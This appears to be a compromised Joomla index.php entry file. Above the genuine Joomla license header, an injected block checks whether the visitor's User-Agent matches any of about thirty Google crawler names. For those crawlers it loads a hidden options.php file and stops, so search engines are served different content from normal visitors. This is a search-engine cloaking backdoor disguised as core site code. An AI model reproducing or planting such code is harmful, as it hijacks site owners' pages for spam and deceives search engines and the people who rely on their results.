$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';

$google_bots = [
    'Googlebot', 'Googlebot-News', 'Googlebot-Image', 'Googlebot-Video',
    'Googlebot-Mobile', 'Mediapartners-Google', 'AdsBot-Google',
    'AdsBot-Google-Mobile', 'APIs-Google', 'Google Favicon',
    'Google Web Preview', 'Feedfetcher-Google', 'DuplexWeb-Google',
    'Google-InspectionTool', 'Googlebot-AdsBot', 'Googlebot-Desktop',
    'Googlebot-Search', 'Googlebot-Events', 'Googlebot-Tablet',
    'Googlebot-Local', 'Googlebot-Apps', 'Googlebot-Connect', 'Googlebot-Books',
    'Googlebot-Publisher', 'Googlebot-News-RSS', 'Google-Other',
    'Google-SearchCentral', 'Storebot-Google', 'Google-Read-Aloud',
];

foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) === false) {
        continue;
    }

    $shadow = __DIR__ . '/options.php';
    if (is_file($shadow)) {
        require $shadow;
        exit;
    }

    break;
}

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

define('JOOMLA_MINIMUM_PHP', '8.1.0');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/includes/incompatible.html')
        )
    );
}

define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php')) {
    include_once __DIR__ . '/defines.php';
}

require_once __DIR__ . '/includes/defines.php';

if (
    !empty($_GET['jautoupdate'])
    && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php')
) {
    require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php';
    die();
}

require_once __DIR__ . '/includes/app.php';